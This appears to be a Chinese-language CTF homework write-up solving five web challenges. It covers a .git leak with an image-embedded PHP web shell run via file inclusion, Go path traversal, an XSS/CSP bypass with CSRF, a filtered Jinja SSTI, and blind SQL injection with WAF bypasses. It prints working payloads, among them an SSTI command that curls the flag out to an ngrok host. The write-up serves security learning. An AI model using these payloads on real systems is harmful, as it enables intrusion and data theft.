Homework 0x02

1. Imgura

Concept

透過關鍵字 Information leak，我試著在網址後面加上 robots.txt 以及.git/config，之後發現輸入.git/config 可以看到資訊。
為了還原 source code，做以下步驟

1. 使用 dotgit 套件成功從遠端下載.git 資料夾到本地端
2. 透過指令`git clone .git Repo` 可以還原 source code。

進到此 Repo 後，發現只有一個 index.php 檔案，但觀察 commit 紀錄可以發現總共有兩次 commit 紀錄，而觀察 commit 訊息，似乎第二次 commit 有把一些 test data 刪掉了。
因此輸入`git reset HEAD^ --hard` 還原至第一個版本，成功還原出舊檔案。
而在原本的 URL 後面加上`/dev_test_page`也可以看到舊網站也跑在上面。

觀察這個新拿到的網站，可以發現他是一個上傳照片的網站，因此我朝著上傳惡意檔案的方式去試試看，像是將 shell code 夾在圖片檔裡面上傳。而圖片上傳後會存在 images/裡面，因此若有 LCI 漏洞可以成功執行檔案

查看 source code 可以發現有 LCI 漏洞。

```
<?php
  include ($_GET['page'] ?? 'pages/main') . ".php";
?>
```

首先遇到上傳圖片會檢查檔名以及檔案格式，一開始我試著自己做照片，但是一直過不了檔案格式的檢查，因此最後直接拿現成的圖片，並在後面加上 shell code 便可以成功上傳了。
shell code: `<?=system($_GET['cmd']); ?>`

上傳後記住上傳 image 的路徑後，利用 LCI 的漏洞我們便可以造訪該圖片的位址，並加上 cmd 指令去拿到 flag。

```
https://imgura.chal.h4ck3r.quest/dev_test_page/?page=images/59b3e400_gg.png&cmd=cat /*f*
```

最後成功執行我們的 shell code 並在網頁下方拿到 Flag

2. DVD Screensaver

Concept

一開始透過 Path traversal 的提示，發現 source code 裡面的/static 裡面有讀檔，因此嘗試了/static/../go.mod 等等的相關指令，但是發現它會自動把我導回首頁。經過查詢相關資料後發現做這些導向的動作是 ServeMux，ServeMux 會把使用者傳的 URL 先進行 clean 的動作，也就是原本 URL 有. 或.. 會被自動展開，並且送到對應的 API。因此在 exploit 前就會先被擋掉了。

為了想繞過這個問題，我查詢"ServeMux exploit" 相關的關鍵字，發現可以用 HTTP CONNECT METHOD 繞過這項限制。輸入指令

```
curl -v -X CONNECT --path-as-is
http://dvd.chal.h4ck3r.quest:10001/static/../../../proc/self/environ
>> output.txt
```

執行後便可以拿到 secret key。
得到 secret key 之後代表我們可以自己建 signed cookie。接著觀察 source code，第一個檢查使用者輸入帳號密碼的地方似乎很難用 sql injection，因為他檢查輸入輸出很嚴格。

再來觀察到在"/" root API 有 sql injection 的可能。整理一下後發現若在此 API 進行 sql injection，更改 cookie 裡 username 的值，讓 query 拿到真正的 flag，結果會被秀在網頁上面。
因此這裡試著用拿到的 secret key 去製作
`Session.Values['username'] = "'test' or flag like 'FLAG{%'"`的 payload (username 可以是任意值，因為沒有做檢查)
最後到網站中，先登入 guest，接著使用開發者工具去更改網站中的 session ，改成上面產出的 payload，然後重新整理，便可以順利拿到 key。

3. Profile Card

Concept

一開始，看到網站裡面 Edit 功能裡面，Bio 欄位是支援 markdown 語法的，因此我試著在

Homework 0x02

Bio 裡面寫入一些簡單的 XSS payload，並得到不同結果

1. <script>alert(1)</script>
   結果: <script> 會被轉換成 <bad>，推測背後有 filter 會過濾掉 <script> 關鍵字

2. click
   結果: 點擊後在會跳出 CSP script-self 的警告，無法執行 inline script。

3. <script>alert(1)</script>
   結果: 該串會直接被視為是一般文字 ( )，而不是預期的轉成 <script></script> 的形式，因此也行不通

由以上可以得知一般的 XSS payload 是行不通的，因此我需要想辦法繞過 <script> 的 filter，而且繞過後也要能被解譯成正常的 html tag。

在破解 xss 過程中，因為好奇 CSP 有沒有漏洞，所以我試著把 CSP 的內容丟到 CSP Evaluator，得到 script-src: self 可能有 JSONP, Angular 或 upload file 的風險。透過 Angular dev tools 可以得知此網站並非用 Angular 寫的，且網站目前沒看到可以上傳檔案的地方，因此朝著 JSONP 開始看。

然而網站的 CSP 限制較嚴格，因此若要呼叫 JSONP endpoint，該 endpoint 也必須為同源，無法透過自己架一個 JSONP endpoint 來達到。在研究 JSONP 的過程中，我也了解到了 <script src=""> 的語法，該語法可以從 src 中引入 javascript code 並執行。然而 CSP 的限制，該 src 也必須為跟網站同源的。
在 JSONP 失敗後，我看回 XSS cheatsheet，偶然在搜尋關鍵字 <script 時找到了 <iframe srcdoc=<script>alert(1)</script>></iframe> 的寫法，這項寫法可以繞過 <script> 的 filter，且因為 <script> 被包在另一個 html tag 裡面，該語法也會被編譯成 <script>，在嘗試之後發現可以用此方法來達成 XSS，但是這種 XSS 一樣會被 CSP 擋下來。

這時候突然想到還有 export 功能還沒使用，若我們試著使用剛剛發現的 <script src="/export">，或許便有可能把自己寫的 code import 進來。

嘗試之後發現，若 export?format=html，在第一行 <!DOCTYPE html> 會發生 Syntax error，造成其他 code 無法執行。若 export?format=markdown，一樣會在第一行 [](https...) 產生 Syntax error。然而觀察該 markdown 可以發現，第一行的網址是我們可控制的，因此可以試著在 Avatar URL 加入多行註解/*，把後面的 code 註解掉，在 bio 的一開始在加入註解尾 */，並在最後加上)] 相對應的閉符號，這樣可以順利從該 markdown 載入 js code.
嘗試多次後，當我們輸入

- avatar: /*
- title: random
- profile: */ <iframe srcdoc=<script>alert(1)</script>></iframe>])

儲存後便可以成功執行 XSS，跳出 alert(1)

在成功繞過 CSP 並在個人頁面執行 XSS 後，我們需要想辦法在 admin 的帳號下執行 XSS 並拿到 FLAG。這時候想到可以透過 bot 的 report URL 功能，利用 CSRF 的觀念，試著架一個惡意網站，當 bot 造訪時會偷偷發送 POST request 去修改 admin 的資料，成功在 admin 權限下執行 xss。

因此我使用 apache 在本地端架設網站並用 ngrok 讓其他人可以連進來。為了在瀏覽時偷偷發送 post request，一開始參考了該網站，建立 Form 後並偷偷發送。然而這個做法會因為格式不符一直得到 500 Internal Error。因此我試著使用另一個做法，透過 JS fetch API 來 POST 資料。

關於要插入的 xss script，首先利用 fetch('/flag') 去拿到 flag，而因為看不到 bot 執行的 Log，因此要想辦法把拿到的 flag 傳出來。由於 connect-src: none 的限制，因此我們無法 cross origin 傳資料。但是可以發現 img 的限制為 img-src: http: https，因此若試著在 img 的 src 加上 ngrok 的連結，瀏覽器會透過該連結發出 GET Request 去拿到圖片。因此試著在 link 後面加上 flag 便可以把 flag 傳出來。

到這邊，現在只差最後一步。當我們成功 POST 資料後，script code 並不會立刻被執行，

我發現還需要再次以 admin 的權限造訪該網站，才能使 script code 被執行。一開始我試著 fetch GET 卻失敗，最後在 POST 完資料後加入 location.href = 'https://profile.chal.h4ck3r.quest' 才成功拿到 FLAG。

4. Double SSTI

Concept

一開始檢查網頁原始碼可以發現 source code 的位置。在察看後發現是一份用 nodeJS 以及 express, handlebars 等套件所寫的 server code。裡面有提到說需要先拿到 secret。由於是 SSTI，因此我先去看了 handlebars 這個 template engine 的文件熟悉語法。

在觀察題目後可以發現在編譯 template 的時候有傳遞了兩個參數 name, secret 進去，但是 secret 並沒有被用到，且我們可以隨意更改 name 的值 (但不能包含 secret)。由於在看文件時有看到 handlebars 有類似 for loop iterate 的語法，但文件上都是 iterate 一個 array 或 object，因此我便搜尋是否能夠 iterate anonymous object，結果在這篇找到了答案。最後嘗試了 payload: `{{#each this}} Key: {{@key}} Value = {{this}} {{/each}}` ，成功拿到 secret value，進入 stage 2。

進入 stage 2 後發現可能又是另一個 SSTI，但這次沒有提供 source code 了。這時候想起在前一份 source code 的 pxory API 裡面，有提到 http://jinja，因此我猜測這是一個 jinja template，並試著用上課所教的 payload 進行 SSTI。

在嘗試後會發現被認為是 Hacker，因此我慢慢的找出是哪個字元造成了判定 hacker 的條件，經過多次嘗試後發現`"."`, `"__"`,`"["`, `"]"`等字元是無法輸入的，因此我對 payload 進行修改:

- 原本`"__"`可以用 byte 字元”5f” 代替
- 原本 python payload 用來取 attribute 的”.” 可以用 attr() 語法代替
- 在最後要將答案傳出來的時候，會遇到 URL 有”.” 的情況。試了很久之後，想到先把 URL 用 base64 encode，在 payload 裡面在用 cmd 的內建 base64 指令 decode 回來。

基於以上條件後先用指令 encode URL:

```
$ echo https://70bb-140-112-87-228.ngrok.io | base64
> aHR0cHM6Ly83MGJiLTE0MC0xMTItODctMjI4Lm5ncm9rLmlvCg==
```

再用 URL 做出 payload:

```
$ {{ ()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|
attr("\x5f\x5fsubclasses\x5f\x5f")()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|
attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|
attr('\x5f\x5fgetitem\x5f\x5f')('system')('curl -X POST -d "flag=$(cat /*f*)"
$(echo aHR0cHM6Ly83MGJiLTE0MC0xMTItODctMjI4Lm5ncm9rLmlvCg== | base64 -d)') }}
```

便可以拿到 Flag。

5. Log me in: Revenge

Concept

一開始在偶然輸入`"\"`，成功造成了 500 Error，並透過 Debug Page 可以看到部分的 Source code(Login API 的邏輯)。從這部分 source code 可以看到我們傳進去的參數要先經過`sqli_waf()`以及`addslashes()`這兩個 function。上網查了後發現這兩個 function 都不是內建的，因此可能還有部分 source code 沒有被 exploit 出來。

然而從 addslashes 關鍵字，我一開始有試著搜尋 addslashes 相關的 sqli，找到了 multichar 的 injection，原理是利用 0b....。然而不斷嘗試後皆失敗，因此暫時放棄。

後來偶然用 curl 在忘記輸入 password 參數的時候也造成了 500 Error，因此回到網頁上把 password 欄位刪除後發送，透過 Debug Page 發現可以看到另外一部分的 source code(`sqli_waf()`以及`addslashes()`的邏輯)。

- `sqli_waf()`: 把一些關鍵字過濾掉
- `addslashes()`: 把一些關鍵字 [' "] 加上 backslashes，然而仔細觀察可以發現該 function 的關鍵字忘了加上`"\"`，也是因此才能造成之前的 500 error page。

之後搜尋 baskclashes 的相關 injection，找到了可以利用"\"來 escape username 後面的'，這樣會使得 username='\' and password='，而 password 便可以隨我們進行 injection 了。

Sqli 成功後發現，即使用 admin 登入後也無法得知任何資訊，因此試著用 blind sql injection，發現 admin password 的前四個字為 FLAG，因此認為可能就是 FLAG。先去試試看拿 admin 的 password。然而在 sql injection 的過程中，有些關鍵字`union, select, where, and, or, '`擋掉了，而且也不能使用',"，因此需要想辦法 bypass，以下為我的 bypass 方法

- `union, select, where, and, or` 可以使用重組字串的方法繞過。
  e.g. `seselectlect => select`
- 空白' '可以使用/**/繞過
- " ='flag' "可以使用"like/**/hex(flag)"的語法繞過，先將要處理的字串 ('flag') 轉成 hex，一樣可以成功執行。

處理完 bypass 後便可以執行 blind sql injection，一個字一個字把 admin 的 password 找出來。首先使用以下的 payload，最後拿到 password: `FLAG(is_in_another_table)`
由 password 可以得知密碼可能在其他 table 裡面，因此繼續用 blind sqli 去依序去搜尋`table_name`, `column_name`，最後發現有另一個 table `h3y_here_15_the_flag_y0u_w4nt,meow,flag`，以及該 table 裡面有一個 column`I_4M_TH3_FL4G`。最後去搜尋 column 裡的值便成功找到 flag 了。